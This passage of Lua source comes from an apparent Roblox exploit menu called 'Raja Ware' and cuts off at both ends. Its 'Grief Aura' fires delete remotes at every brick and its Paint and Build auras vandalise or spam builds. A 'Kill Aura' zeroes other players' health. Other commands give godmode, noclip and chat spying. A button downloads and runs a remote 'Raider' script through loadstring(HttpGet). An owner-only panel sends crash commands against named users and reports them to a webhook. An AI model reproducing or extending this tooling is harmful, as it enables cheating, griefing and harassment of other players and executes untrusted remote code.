    local ac = isRed and Color3.fromRGB(255, 35, 0) or Color3.fromRGB(255, 100, 0)
    local btn, upd
    if not noToggle then
        local tbg = Instance.new("Frame", row)
        tbg.Size = UDim2.new(0, 28, 0, 15)
        tbg.Position = UDim2.new(1, -32, 0.5, -7)
        tbg.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
        tbg.BorderSizePixel = 0
        tbg.ZIndex = 13
        Instance.new("UICorner", tbg).CornerRadius = UDim.new(1, 0)
        local td = Instance.new("Frame", tbg)
        td.Size = UDim2.new(0, 11, 0, 11)
        td.Position = UDim2.new(0, 2, 0.5, -5)
        td.BackgroundColor3 = Color3.fromRGB(55, 55, 55)
        td.BorderSizePixel = 0
        td.ZIndex = 14
        Instance.new("UICorner", td).CornerRadius = UDim.new(1, 0)
        btn = Instance.new("TextButton", row)
        btn.Size = UDim2.new(1, 0, 1, 0)
        btn.BackgroundTransparency = 1
        btn.Text = ""
        btn.ZIndex = 15
        upd = function(state)
            if state then
                TweenService:Create(tbg, TweenInfo.new(0.13), {BackgroundColor3 = ac}):Play()
                TweenService:Create(td, TweenInfo.new(0.13), {Position = UDim2.new(1,-13,0.5,-5), BackgroundColor3 = Color3.new(1,1,1)}):Play()
                TweenService:Create(ab2, TweenInfo.new(0.13), {BackgroundTransparency = 0}):Play()
                TweenService:Create(row, TweenInfo.new(0.13), {BackgroundColor3 = Color3.fromRGB(20,9,2)}):Play()
                rs.Color = Color3.fromRGB(60, 18, 0)
                tl.TextColor3 = Color3.new(1,1,1)
                dl.TextColor3 = Color3.fromRGB(120,55,14)
            else
                TweenService:Create(tbg, TweenInfo.new(0.13), {BackgroundColor3 = Color3.fromRGB(22,22,22)}):Play()
                TweenService:Create(td, TweenInfo.new(0.13), {Position = UDim2.new(0,2,0.5,-5), BackgroundColor3 = Color3.fromRGB(55,55,55)}):Play()
                TweenService:Create(ab2, TweenInfo.new(0.13), {BackgroundTransparency = 1}):Play()
                TweenService:Create(row, TweenInfo.new(0.13), {BackgroundColor3 = Color3.fromRGB(14,14,14)}):Play()
                rs.Color = Color3.fromRGB(24, 24, 24)
                tl.TextColor3 = Color3.fromRGB(200,200,200)
                dl.TextColor3 = Color3.fromRGB(55,55,55)
            end
        end
    else
        local arr = Instance.new("TextLabel", row)
        arr.Size = UDim2.new(0, 24, 1, 0)
        arr.Position = UDim2.new(1, -28, 0, 0)
        arr.BackgroundTransparency = 1
        arr.Text = "›"
        arr.TextColor3 = Color3.fromRGB(255, 80, 0)
        arr.Font = Enum.Font.GothamBlack
        arr.TextSize = 20
        arr.ZIndex = 13
        btn = Instance.new("TextButton", row)
        btn.Size = UDim2.new(1, 0, 1, 0)
        btn.BackgroundTransparency = 1
        btn.Text = ""
        btn.ZIndex = 15
        upd = function(s)
            TweenService:Create(row, TweenInfo.new(0.13), {BackgroundColor3 = s and Color3.fromRGB(20,9,2) or Color3.fromRGB(14,14,14)}):Play()
        end
    end
    return row, btn, upd
end

-- WORKING TOOLS
function giveEditorTool()
    if player.Backpack:FindFirstChild("Editor") then
        showNotif("⚠️ Editor Tool already in inventory!", Color3.fromRGB(255,200,0))
        return
    end
    local tool = Instance.new("Tool")
    tool.Name = "Editor"
    tool.RequiresHandle = false
    tool.Parent = player.Backpack
    showNotif("✏️ Editor Tool given! Click blocks to inspect", Color3.fromRGB(255,80,0))
    
    local mouse = player:GetMouse()
    local selectionBox = Instance.new("SelectionBox")
    selectionBox.Color3 = Color3.fromRGB(255, 80, 0)
    selectionBox.LineThickness = 0.05
    selectionBox.Transparency = 0.5
    
    tool.Equipped:Connect(function()
        selectionBox.Visible = true
    end)
    tool.Unequipped:Connect(function()
        selectionBox.Adornee = nil
        selectionBox.Visible = false
    end)
    mouse.Button1Down:Connect(function()
        if tool.Parent == player.Character and mouse.Target and mouse.Target.IsDescendantOf(workspace) then
            selectionBox.Adornee = mouse.Target
            showNotif("🔍 Selected: " .. mouse.Target.Name .. " | Class: " .. mouse.Target.ClassName, Color3.fromRGB(100,200,255))
        end
    end)
end

function giveRotateTool()
    if player.Backpack:FindFirstChild("RotateTool") then
        showNotif("⚠️ Rotate Tool already in inventory!", Color3.fromRGB(255,200,0))
        return
    end
    local tool = Instance.new("Tool")
    tool.Name = "RotateTool"
    local handle = Instance.new("Part")
    handle.Size = Vector3.new(1,1,1)
    handle.Transparency = 1
    handle.CanCollide = false
    handle.Name = "Handle"
    handle.Parent = tool
    tool.Parent = player.Backpack
    showNotif("🔄 Rotate Tool given! Click blocks to rotate", Color3.fromRGB(255,80,0))
    
    local mouse = player:GetMouse()
    local rotating = false
    local selectedPart = nil
    
    tool.Activated:Connect(function()
        if mouse.Target and mouse.Target:IsA("BasePart") and mouse.Target ~= player.Character then
            rotating = not rotating
            if rotating then
                selectedPart = mouse.Target
                showNotif("🔘 Rotating mode ON - Move mouse to rotate", Color3.fromRGB(255,150,0))
            else
                showNotif("✅ Rotation applied", Color3.fromRGB(0,255,0))
                selectedPart = nil
            end
        end
    end)
    
    mouse.MouseMove:Connect(function()
        if rotating and selectedPart then
            local delta = (mouse.Hit.Position - selectedPart.Position).Unit
            selectedPart.CFrame = CFrame.lookAt(selectedPart.Position, selectedPart.Position + delta) * CFrame.Angles(0, math.pi/2, 0)
        end
    end)
end

function giveDecalTool()
    if player.Backpack:FindFirstChild("DecalTool") then
        showNotif("⚠️ Decal Tool already in inventory!", Color3.fromRGB(255,200,0))
        return
    end
    local tool = Instance.new("Tool")
    tool.Name = "DecalTool"
    local handle = Instance.new("Part")
    handle.Size = Vector3.new(1,1,1)
    handle.Shape = Enum.PartType.Cylinder
    handle.Transparency = 0.5
    handle.Color = Color3.fromRGB(0,255,255)
    handle.Name = "Handle"
    handle.Parent = tool
    tool.Parent = player.Backpack
    showNotif("🎨 Decal Tool given! Click blocks to apply decals", Color3.fromRGB(255,80,0))
    
    local mouse = player:GetMouse()
    local decalId = "5550182266"
    
    tool.Activated:Connect(function()
        if mouse.Target and mouse.Target:IsA("BasePart") then
            local decal = Instance.new("Decal")
            decal.Texture = "rbxassetid://" .. decalId
            decal.Face = mouse.TargetSurface
            decal.Parent = mouse.Target
            showNotif("🎨 Decal applied to " .. mouse.Target.Name, Color3.fromRGB(0,255,0))
        else
            showNotif("❌ Target a block first!", Color3.fromRGB(255,40,0))
        end
    end)
end

-- AURAS
local griefActive = false
local blockActive = false
local rainbowActive = false
local toxicActive = false
local killActive = false
local griefTask, blockTask, rainbowTask, toxicTask, killTask = nil, nil, nil, nil, nil

function startGriefAura()
    if griefTask then return end
    griefTask = task.spawn(function()
        while griefActive do
            pcall(function()
                local deleteTools = {}
                for _, tool in ipairs(player.Backpack:GetChildren()) do
                    if tool.Name == "Delete" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(deleteTools, tool.Script.Event)
                    end
                end
                for _, tool in ipairs(character:GetChildren()) do
                    if tool.Name == "Delete" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(deleteTools, tool.Script.Event)
                    end
                end
                local bricks = workspace:FindFirstChild("Bricks")
                if bricks and #deleteTools > 0 then
                    for _, brick in ipairs(bricks:GetChildren()) do
                        if brick:IsA("BasePart") and brick.Name == "Brick" then
                            pcall(function() deleteTools[1]:FireServer(brick, brick.Position) end)
                        end
                    end
                end
            end)
            task.wait(0.1)
        end
        griefTask = nil
    end)
end

function startBlockAura()
    if blockTask then return end
    blockTask = task.spawn(function()
        while blockActive do
            pcall(function()
                local buildTools = {}
                for _, tool in ipairs(player.Backpack:GetChildren()) do
                    if tool.Name == "Build" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(buildTools, tool.Script.Event)
                    end
                end
                for _, tool in ipairs(character:GetChildren()) do
                    if tool.Name == "Build" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(buildTools, tool.Script.Event)
                    end
                end
                if #buildTools > 0 and rootPart then
                    local pos = rootPart.Position + Vector3.new(math.random(-15,15), math.random(-2,2), math.random(-15,15))
                    pcall(function() buildTools[1]:FireServer(workspace.Terrain, Enum.NormalId.Top, pos, "normal") end)
                end
            end)
            task.wait(0.08)
        end
        blockTask = nil
    end)
end

function startRainbowAura()
    if rainbowTask then return end
    rainbowTask = task.spawn(function()
        while rainbowActive do
            pcall(function()
                local paintTools = {}
                for _, tool in ipairs(player.Backpack:GetChildren()) do
                    if tool.Name == "Paint" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(paintTools, tool.Script.Event)
                    end
                end
                for _, tool in ipairs(character:GetChildren()) do
                    if tool.Name == "Paint" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(paintTools, tool.Script.Event)
                    end
                end
                local bricks = workspace:FindFirstChild("Bricks")
                if bricks and #paintTools > 0 then
                    for _, brick in ipairs(bricks:GetChildren()) do
                        if brick:IsA("BasePart") then
                            pcall(function() paintTools[1]:FireServer(brick, Enum.NormalId.Top, brick.Position, "color", Color3.fromHSV(tick()/5%1,1,1), "", "") end)
                        end
                    end
                end
            end)
            task.wait(0.05)
        end
        rainbowTask = nil
    end)
end

function startToxicAura()
    if toxicTask then return end
    toxicTask = task.spawn(function()
        while toxicActive do
            pcall(function()
                local paintTools = {}
                for _, tool in ipairs(player.Backpack:GetChildren()) do
                    if tool.Name == "Paint" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(paintTools, tool.Script.Event)
                    end
                end
                for _, tool in ipairs(character:GetChildren()) do
                    if tool.Name == "Paint" and tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") then
                        table.insert(paintTools, tool.Script.Event)
                    end
                end
                local bricks = workspace:FindFirstChild("Bricks")
                if bricks and #paintTools > 0 then
                    for _, brick in ipairs(bricks:GetChildren()) do
                        if brick:IsA("BasePart") and brick.Material ~= Enum.Material.Neon then
                            pcall(function() paintTools[1]:FireServer(brick, Enum.NormalId.Top, brick.Position, "material", Color3.new(1,0,0), "toxic", "") end)
                        end
                    end
                end
            end)
            task.wait(0.1)
        end
        toxicTask = nil
    end)
end

function startKillAura()
    if killTask then return end
    killTask = task.spawn(function()
        while killActive do
            for _, p in ipairs(Players:GetPlayers()) do
                if p ~= player and p.Character and p.Character:FindFirstChild("Humanoid") then
                    local targetHumanoid = p.Character.Humanoid
                    if targetHumanoid.Health > 0 then
                        targetHumanoid.Health = 0
                    end
                end
            end
            task.wait(0.5)
        end
        killTask = nil
    end)
end

-- BUILD PAGES
function buildToolsPage()
    for _, c in ipairs(toolsScroll:GetChildren()) do if c:IsA("Frame") then c:Destroy() end end
    makeSectionHeader(toolsScroll, "🔧  TOOLS")
    local _, rotateBtn, rotateUpd = makeRow(toolsScroll, "🔄", "Rotate Tool", "Rotate any block", false, true)
    rotateBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        rotateUpd(true)
        giveRotateTool()
        task.delay(1.5, function() rotateUpd(false) end)
    end)
    local _, decalBtn, decalUpd = makeRow(toolsScroll, "🎨", "Decal Tool", "Apply decals to blocks", false, true)
    decalBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        decalUpd(true)
        giveDecalTool()
        task.delay(1.5, function() decalUpd(false) end)
    end)
    local _, editorBtn, editorUpd = makeRow(toolsScroll, "✏️", "Editor Tool", "Inspect block properties", false, true)
    editorBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        editorUpd(true)
        giveEditorTool()
        task.delay(1.5, function() editorUpd(false) end)
    end)
    toolsScroll.CanvasSize = UDim2.new(0,0,0, 26 + 3 * 44 + 20)
end
buildToolsPage()

function buildTrollPage()
    for _, c in ipairs(trollScroll:GetChildren()) do if c:IsA("Frame") then c:Destroy() end end
    makeSectionHeader(trollScroll, "😈  TROLL")
    local function loadMonkeyGang()
        showNotif("🐒 Loading Monkey Gang...", Color3.fromRGB(255,150,0))
        pcall(function()
            loadstring(game:HttpGet("https://raw.githubusercontent.com/agarvsocooolsmith/Scripts/refs/heads/main/MONKEYGANGUI.lua"))()
            showNotif("✅ Monkey Gang Loaded!", Color3.fromRGB(0,200,60))
        end)
    end
    local _, monkeyBtn, monkeyUpd = makeRow(trollScroll, "🐒", "Monkey Gang", "Load Monkey Gang Raider script", false, true)
    monkeyBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        monkeyUpd(true)
        loadMonkeyGang()
        task.delay(2, function() monkeyUpd(false) end)
    end)
    trollScroll.CanvasSize = UDim2.new(0,0,0, 26 + 1 * 44 + 20)
end
buildTrollPage()

function buildAuraPage()
    for _, c in ipairs(auraScroll:GetChildren()) do if c:IsA("Frame") then c:Destroy() end end
    makeSectionHeader(auraScroll, "✨  AURAS")
    local _, griefBtn, griefUpd = makeRow(auraScroll, "🔴", "Grief Aura", "Delete bricks around you", true)
    griefBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        griefActive = not griefActive
        griefUpd(griefActive)
        if griefActive then startGriefAura() end
        showNotif("🔴 Grief Aura " .. (griefActive and "ON" or "OFF"), griefActive and Color3.fromRGB(255,0,0) or Color3.fromRGB(150,150,150))
    end)
    local _, blockBtn, blockUpd = makeRow(auraScroll, "🧱", "Block Aura", "Place bricks around you", false)
    blockBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        blockActive = not blockActive
        blockUpd(blockActive)
        if blockActive then startBlockAura() end
        showNotif("🧱 Block Aura " .. (blockActive and "ON" or "OFF"), blockActive and Color3.fromRGB(255,150,0) or Color3.fromRGB(150,150,150))
    end)
    local _, rainbowBtn, rainbowUpd = makeRow(auraScroll, "🌈", "Rainbow Aura", "Colors all bricks rainbow", false)
    rainbowBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        rainbowActive = not rainbowActive
        rainbowUpd(rainbowActive)
        if rainbowActive then startRainbowAura() end
        showNotif("🌈 Rainbow Aura " .. (rainbowActive and "ON" or "OFF"), rainbowActive and Color3.fromRGB(255,0,255) or Color3.fromRGB(150,150,150))
    end)
    local _, toxicBtn, toxicUpd = makeRow(auraScroll, "☠️", "Toxic Aura", "Toxifies bricks around you", true)
    toxicBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        toxicActive = not toxicActive
        toxicUpd(toxicActive)
        if toxicActive then startToxicAura() end
        showNotif("☠️ Toxic Aura " .. (toxicActive and "ON" or "OFF"), toxicActive and Color3.fromRGB(0,255,0) or Color3.fromRGB(150,150,150))
    end)
    local _, killBtn, killUpd = makeRow(auraScroll, "⚔️", "Kill Aura", "Kill Players around you", true)
    killBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        killActive = not killActive
        killUpd(killActive)
        if killActive then startKillAura() end
        showNotif("⚔️ Kill Aura " .. (killActive and "ON" or "OFF"), killActive and Color3.fromRGB(255,0,0) or Color3.fromRGB(150,150,150))
    end)
    auraScroll.CanvasSize = UDim2.new(0,0,0, 26 + 5 * 44 + 20)
end
buildAuraPage()

function buildOthersPage()
    for _, c in ipairs(othersScroll:GetChildren()) do if c:IsA("Frame") then c:Destroy() end end
    makeSectionHeader(othersScroll, "⚙️  FEATURES")
    
    -- ESP Toggle
    local _, espBtn, espUpd = makeRow(othersScroll, "🔴", "Enhanced ESP", "Enhanced ESP with Arkenstone highlight", false)
    espBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        local newState = not espActive
        espUpd(newState)
        toggleESP(newState)
    end)
    
    -- Arkenstone Detector Toggle (replaces Enlightened Checker)
    local _, arkenstoneBtn, arkenstoneUpd = makeRow(othersScroll, "💎", "Arkenstone Detector", "Detects players with The Arkenstone", false)
    arkenstoneBtn.MouseButton1Click:Connect(function()
        toggleSound:Play()
        local newState = not arkenstoneCheckActive
        arkenstoneUpd(newState)
        toggleArkenstoneCheck(newState)
    end)
    
    othersScroll.CanvasSize = UDim2.new(0,0,0, 26 + 2 * 44 + 20)
end
buildOthersPage()

-- COMMANDS PAGE
local cmdToggles = {}
local cmdListAll = {
    "antiafk", "antifling", "antideath", "godmode", "noclip", "forcer6",
    "disablebkit", "antifreeze", "antiglitch", "autograb", "chatspy"
}
local cmdIconsMap = {
    antiafk="⏱", antifling="🛡", antideath="💀", godmode="♾", noclip="👻", forcer6="🦴",
    disablebkit="🧱", antifreeze="❄", antiglitch="🔀", autograb="🖐", chatspy="💬"
}
local cmdDescsMap = {
    antiafk="Prevents AFK kick", antifling="Stops fling attacks", antideath="Prevents death",
    godmode="Infinite health", noclip="Walk through walls", forcer6="Force R6 animations",
    disablebkit="Disables building", antifreeze="Detects & resets freeze", antiglitch="Prevents warp glitch",
    autograb="Auto grab tools", chatspy="Log all chat"
}
function getState(cmd)
    if cmd == "chatspy" then return chatSpyEnabled
    else return cmdToggles[cmd] or false end
end
function populateCommands(filter)
    for _, c in ipairs(scrollFrame:GetChildren()) do if c:IsA("Frame") then c:Destroy() end end
    local count = 0
    for _, cmd in ipairs(cmdListAll) do
        if filter == "" or cmd:lower():find(filter:lower()) then
            local isRed = (cmd == "disablebkit")
            local _, btn, upd = makeRow(scrollFrame, cmdIconsMap[cmd] or "?", cmd, cmdDescsMap[cmd] or "", isRed)
            upd(getState(cmd))
            btn.MouseButton1Click:Connect(function()
                toggleSound:Play()
                if cmd == "chatspy" then 
                    chatSpyEnabled = not chatSpyEnabled
                else
                    cmdToggles[cmd] = not cmdToggles[cmd]
                    if cmd == "godmode" and cmdToggles[cmd] then
                        humanoid.MaxHealth = math.huge
                        humanoid.Health = math.huge
                    elseif cmd == "godmode" and not cmdToggles[cmd] then
                        humanoid.MaxHealth = 100
                    elseif cmd == "noclip" and cmdToggles[cmd] then
                        for _, part in pairs(character:GetDescendants()) do
                            if part:IsA("BasePart") then part.CanCollide = false end
                        end
                    elseif cmd == "noclip" and not cmdToggles[cmd] then
                        for _, part in pairs(character:GetDescendants()) do
                            if part:IsA("BasePart") then part.CanCollide = true end
                        end
                    end
                end
                upd(getState(cmd))
                showNotif(cmd:upper() .. (getState(cmd) and "  ON" or "  OFF"), getState(cmd) and Color3.fromRGB(255,100,0) or Color3.fromRGB(150,150,150))
            end)
            count = count + 1
        end
    end
    scrollFrame.CanvasSize = UDim2.new(0,0,0, count * 48)
end
populateCommands("")
searchBox:GetPropertyChangedSignal("Text"):Connect(function() populateCommands(searchBox.Text) end)

-- BLOCK PAGE
local customBlocks = {}
addBtn.MouseButton1Click:Connect(function()
    local name = customInput.Text:match("^%s*(.-)%s*$")
    if name == "" then return end
    name = name:lower()
    for _, v in ipairs(customBlocks) do if v == name then return end end
    table.insert(customBlocks, name)
    local row = Instance.new("Frame", customScroll)
    row.Size = UDim2.new(0.97,0,0,28)
    row.BackgroundColor3 = Color3.fromRGB(14,14,14)
    row.BorderSizePixel = 0
    Instance.new("UICorner", row).CornerRadius = UDim.new(0,7)
    Instance.new("UIStroke", row).Color = Color3.fromRGB(255,80,0)
    local aBar = Instance.new("Frame", row)
    aBar.Size = UDim2.new(0,3,0.6,0)
    aBar.Position = UDim2.new(0,0,0.2,0)
    aBar.BackgroundColor3 = Color3.fromRGB(255,80,0)
    aBar.BorderSizePixel = 0
    aBar.ZIndex = 2
    Instance.new("UICorner", aBar).CornerRadius = UDim.new(1,0)
    local nl = Instance.new("TextLabel", row)
    nl.Size = UDim2.new(1,-34,1,0)
    nl.Position = UDim2.new(0,8,0,0)
    nl.BackgroundTransparency = 1
    nl.Text = "▸  " .. name
    nl.TextColor3 = Color3.fromRGB(255,110,0)
    nl.Font = Enum.Font.GothamBold
    nl.TextSize = 10
    nl.TextXAlignment = Enum.TextXAlignment.Left
    nl.ZIndex = 2
    local db = Instance.new("TextButton", row)
    db.Size = UDim2.new(0,22,0,18)
    db.Position = UDim2.new(1,-26,0.5,-9)
    db.BackgroundColor3 = Color3.fromRGB(130,20,0)
    db.Text = "✕"
    db.TextColor3 = Color3.new(1,1,1)
    db.Font = Enum.Font.GothamBold
    db.TextSize = 10
    db.BorderSizePixel = 0
    db.ZIndex = 2
    Instance.new("UICorner", db).CornerRadius = UDim.new(0,5)
    db.MouseButton1Click:Connect(function()
        clickSound:Play()
        for i, v in ipairs(customBlocks) do if v == name then table.remove(customBlocks, i); break end end
        row:Destroy()
        local cnt = 0
        for _, c in ipairs(customScroll:GetChildren()) do if c:IsA("Frame") then cnt = cnt + 1 end end
        customScroll.CanvasSize = UDim2.new(0,0,0, cnt * 32)
    end)
    local cnt = 0
    for _, c in ipairs(customScroll:GetChildren()) do if c:IsA("Frame") then cnt = cnt + 1 end end
    customScroll.CanvasSize = UDim2.new(0,0,0, cnt * 32)
    customInput.Text = ""
end)

-- BAN PAGE (Owner only)
if player.Name == OWNER_NAME then
    local banSF = makeSF(pBan, 0)
    local info = Instance.new("Frame", banSF)
    info.Size = UDim2.new(0.97, 0, 0, 30)
    info.BackgroundColor3 = Color3.fromRGB(22,7,0)
    info.BorderSizePixel = 0
    Instance.new("UICorner", info).CornerRadius = UDim.new(0,7)
    Instance.new("UIStroke", info).Color = Color3.fromRGB(255,80,0)
    local infoT = Instance.new("TextLabel", info)
    infoT.Size = UDim2.new(1,-10,1,0)
    infoT.Position = UDim2.new(0,6,0,0)
    infoT.BackgroundTransparency = 1
    infoT.Text = "⚠  Banned users cannot execute this script"
    infoT.TextColor3 = Color3.fromRGB(200,100,0)
    infoT.Font = Enum.Font.GothamBold
    infoT.TextSize = 9
    
    local inp = Instance.new("Frame", banSF)
    inp.Size = UDim2.new(0.97,0,0,60)
    inp.BackgroundColor3 = Color3.fromRGB(20,20,20)
    inp.BorderSizePixel = 0
    Instance.new("UICorner", inp).CornerRadius = UDim.new(0,11)
    local inpLbl = Instance.new("TextLabel", inp)
    inpLbl.Size = UDim2.new(1,-12,0,20)
    inpLbl.Position = UDim2.new(0,8,0,4)
    inpLbl.BackgroundTransparency = 1
    inpLbl.Text = "👤  Enter Username to Ban:"
    inpLbl.TextColor3 = Color3.fromRGB(255,90,0)
    inpLbl.Font = Enum.Font.GothamBold
    inpLbl.TextSize = 11
    local inpBox = Instance.new("TextBox", inp)
    inpBox.Size = UDim2.new(1,-82,0,30)
    inpBox.Position = UDim2.new(0,6,0,26)
    inpBox.BackgroundColor3 = Color3.fromRGB(30,30,30)
    inpBox.PlaceholderText = "Username here..."
    inpBox.Text = ""
    inpBox.TextColor3 = Color3.fromRGB(245,245,245)
    inpBox.Font = Enum.Font.GothamBold
    inpBox.TextSize = 14
    inpBox.TextXAlignment = Enum.TextXAlignment.Left
    inpBox.BorderSizePixel = 0
    Instance.new("UICorner", inpBox).CornerRadius = UDim.new(0,7)
    local banBtnUI = Instance.new("TextButton", inp)
    banBtnUI.Size = UDim2.new(0,68,0,30)
    banBtnUI.Position = UDim2.new(1,-74,0,26)
    banBtnUI.BackgroundColor3 = Color3.fromRGB(180,25,0)
    banBtnUI.Text = "🚫 BAN"
    banBtnUI.TextColor3 = Color3.new(1,1,1)
    banBtnUI.Font = Enum.Font.GothamBold
    banBtnUI.TextSize = 11
    banBtnUI.BorderSizePixel = 0
    Instance.new("UICorner", banBtnUI).CornerRadius = UDim.new(0,7)
    
    local crashFrame = Instance.new("Frame", banSF)
    crashFrame.Size = UDim2.new(0.97,0,0,80)
    crashFrame.BackgroundColor3 = Color3.fromRGB(30,10,0)
    crashFrame.BorderSizePixel = 0
    Instance.new("UICorner", crashFrame).CornerRadius = UDim.new(0,9)
    Instance.new("UIStroke", crashFrame).Color = Color3.fromRGB(255,0,0)
    local crashLabel = Instance.new("TextLabel", crashFrame)
    crashLabel.Size = UDim2.new(1,-10,0.3,0)
    crashLabel.Position = UDim2.new(0,5,0,5)
    crashLabel.BackgroundTransparency = 1
    crashLabel.Text = "⚠️ RAJA WARE CRASH (Owner Only)"
    crashLabel.TextColor3 = Color3.fromRGB(255,0,0)
    crashLabel.Font = Enum.Font.GothamBold
    crashLabel.TextSize = 11
    crashLabel.TextXAlignment = Enum.TextXAlignment.Left
    local crashDesc = Instance.new("TextLabel", crashFrame)
    crashDesc.Size = UDim2.new(1,-10,0.25,0)
    crashDesc.Position = UDim2.new(0,5,0,24)
    crashDesc.BackgroundTransparency = 1
    crashDesc.Text = "Select a user and crash their Raja Ware client"
    crashDesc.TextColor3 = Color3.fromRGB(150,80,80)
    crashDesc.Font = Enum.Font.Gotham
    crashDesc.TextSize = 8
    crashDesc.TextXAlignment = Enum.TextXAlignment.Left
    
    local userDropdown = Instance.new("TextBox", crashFrame)
    userDropdown.Size = UDim2.new(0.7, -80, 0, 28)
    userDropdown.Position = UDim2.new(0.02, 0, 0.58, 0)
    userDropdown.BackgroundColor3 = Color3.fromRGB(30,30,30)
    userDropdown.PlaceholderText = "Enter username to crash..."
    userDropdown.TextColor3 = Color3.new(1,1,1)
    userDropdown.Font = Enum.Font.Gotham
    userDropdown.TextSize = 11
    Instance.new("UICorner", userDropdown).CornerRadius = UDim.new(0,6)
    local padv2 = Instance.new("UIPadding", userDropdown)
    padv2.PaddingLeft = UDim.new(0, 6)
    
    local crashUserBtn = Instance.new("TextButton", crashFrame)
    crashUserBtn.Size = UDim2.new(0, 100, 0, 28)
    crashUserBtn.Position = UDim2.new(0.73, 0, 0.58, 0)
    crashUserBtn.BackgroundColor3 = Color3.fromRGB(255,50,0)
    crashUserBtn.Text = "💀 CRASH USER"
    crashUserBtn.TextColor3 = Color3.new(1,1,1)
    crashUserBtn.Font = Enum.Font.GothamBold
    crashUserBtn.TextSize = 10
    crashUserBtn.BorderSizePixel = 0
    Instance.new("UICorner", crashUserBtn).CornerRadius = UDim.new(0,6)
    
    crashUserBtn.MouseButton1Click:Connect(function()
        local targetName = userDropdown.Text:match("^%s*(.-)%s*$")
        if targetName == "" then
            showNotif("❌ Enter a username!", Color3.fromRGB(255,40,0))
            return
        end
        
        toggleSound:Play()
        showNotif("💀 Sending crash signal to " .. targetName .. "...", Color3.fromRGB(255,0,0))
        pcall(function()
            game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync("!RajaWareCrash " .. targetName)
        end)
        sendWebhook(WEBHOOK_URL, "💀 Crash Command", "**" .. player.Name .. "** crashed **" .. targetName .. "**", 0xFF0000)
        task.wait(1)
        showNotif("💀 Crash command sent to " .. targetName, Color3.fromRGB(255,0,0))
        userDropdown.Text = ""
    end)
    
    local function rebuildBanList()
        for _, c in ipairs(banSF:GetChildren()) do
            if c:GetAttribute("banEntry") then c:Destroy() end
        end
        for _, name in ipairs(BLACKLISTED) do
            local e = Instance.new("Frame", banSF)
            e:SetAttribute("banEntry", true)
            e.Size = UDim2.new(0.97,0,0,46)
            e.BackgroundColor3 = Color3.fromRGB(16,16,16)
            e.BorderSizePixel = 0
            Instance.new("UICorner", e).CornerRadius = UDim.new(0,9)
            local eI = Instance.new("TextLabel", e)
            eI.Size = UDim2.new(0,30,1,0)
            eI.Position = UDim2.new(0,6,0,0)
            eI.BackgroundTransparency = 1
            eI.Text = "🚫"
            eI.TextSize = 18
            eI.Font = Enum.Font.Gotham
            local eN = Instance.new("TextLabel", e)
            eN.Size = UDim2.new(1,-82,0,28)
            eN.Position = UDim2.new(0,38,0,4)
            eN.BackgroundTransparency = 1
            eN.Text = name
            eN.TextColor3 = Color3.fromRGB(228,228,228)
            eN.Font = Enum.Font.GothamBold
            eN.TextSize = 14
            eN.TextXAlignment = Enum.TextXAlignment.Left
            local rmB = Instance.new("TextButton", e)
            rmB.Size = UDim2.new(0,36,0,30)
            rmB.Position = UDim2.new(1,-40,0.5,-15)
            rmB.BackgroundColor3 = Color3.fromRGB(115,18,0)
            rmB.Text = "✕"
            rmB.TextColor3 = Color3.new(1,1,1)
            rmB.Font = Enum.Font.GothamBold
            rmB.TextSize = 14
            rmB.BorderSizePixel = 0
            Instance.new("UICorner", rmB).CornerRadius = UDim.new(0,7)
            local n2 = name
            rmB.MouseButton1Click:Connect(function()
                clickSound:Play()
                for i2, v in ipairs(BLACKLISTED) do
                    if v:lower() == n2:lower() then table.remove(BLACKLISTED, i2); break end
                end
                showNotif("✅ Unbanned: " .. n2, Color3.fromRGB(0,200,60))
                rebuildBanList()
            end)
        end
    end
    banBtnUI.MouseButton1Click:Connect(function()
        local raw = inpBox.Text:match("^%s*(.-)%s*$")
        if raw == "" then
            showNotif("❌ Type a username first!", Color3.fromRGB(255,40,0))
            return
        end
        for _, v in ipairs(BLACKLISTED) do
            if v:lower() == raw:lower() then showNotif("⚠ Already banned: " .. raw, Color3.fromRGB(150,150,150)) return end
        end
        table.insert(BLACKLISTED, raw)
        showNotif("🚫 Banned: " .. raw, Color3.fromRGB(255,40,0))
        sendWebhook(WEBHOOK_URL, "🚫 User Banned", raw .. " was banned by " .. player.Name, 0xFF0000)
        inpBox.Text = ""
        rebuildBanList()
    end)
    rebuildBanList()
else
    pBan.Visible = false
    for i = #tabData, 1, -1 do
        if tabData[i].n == "Ban" then
            table.remove(tabData, i)
        end
    end
    allPages = {pMain, pServerHop, pCmds, pBlk, pTools, pTrl, pAura, pOthers}
end

-- TOGGLE BUTTON
local toggleBtn = Instance.new("TextButton", screenGui)
toggleBtn.Size = UDim2.new(0, 55, 0, 55)
toggleBtn.Position = UDim2.new(0, 8, 1, -70)
toggleBtn.BackgroundColor3 = Color3.fromRGB(12,12,12)
toggleBtn.Text = ""
toggleBtn.BorderSizePixel = 0
toggleBtn.ZIndex = 10
Instance.new("UICorner", toggleBtn).CornerRadius = UDim.new(0,14)
local tt = Instance.new("TextLabel", toggleBtn)
tt.Size = UDim2.new(1,0,0.52,0)
tt.BackgroundTransparency = 1
tt.Text = "RW"
tt.TextColor3 = Color3.fromRGB(255,80,0)
tt.Font = Enum.Font.GothamBlack
tt.TextSize = 18
tt.ZIndex = 11
local tsub = Instance.new("TextLabel", toggleBtn)
tsub.Size = UDim2.new(1,0,0.34,0)
